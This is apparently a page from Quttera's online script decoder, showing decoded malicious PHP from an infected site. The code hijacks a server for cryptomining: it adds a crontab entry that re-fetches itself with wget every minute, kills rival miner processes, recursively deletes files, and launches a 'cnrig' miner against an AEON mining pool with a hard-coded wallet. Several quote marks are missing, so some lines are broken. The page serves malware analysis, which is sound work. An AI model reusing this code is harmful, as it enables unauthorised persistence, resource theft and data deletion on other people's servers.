Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


ignore_user_abort();

$_SERVER["REQUEST_URI"] = str_replace("?reboot=yes", "", $_SERVER["REQUEST_URI"]);
system('echo "* * * * * wget http://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"].'" | crontab');


    $id = system (pidof cnrig);
	if (strlen($id)>7) system ("kill $id");

function rrmdir($src) {
    $dir = opendir($src);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file !=  ) && ( $file != '..' )) {
            $full = $src . '/' . $file;
            if ( is_dir($full) ) {
                rrmdir($full);
            }
            else {
                unlink($full);
            }
        }
    }
    closedir($dir);
    rmdir($src);
}

if (file_exists(.cnrig.cacert.pem)) unlink(.cnrig.cacert.pem);	
if (file_exists(.zsh__history)) rrmdir(.zsh__history);	

system("chmod +x cnrig");
	if (file_exists("cnrig"))
	{

		$id = system(ps aux | grep cnrig | grep -v grep);
	if ($id == "") system(./cnrig -a cryptonight-light --donate-level 1 --max-cpu-usage=40 -o pool.aeon.hashvault.pro:3333 -u WzWP347dSczJVmPpw65AsAGi5WhT85z5n66D8vcT3RcxRBBj4tFiDcd2CVFcQ1bBpjNQD5Z5kbXrLjVidvoKFaFK6uh5mmb4DVB3C7VpKxVx.2018-%COMPUTERNAME%+2000 -p x -k
);
	}



© 2023 Quttera Ltd. All rights reserved.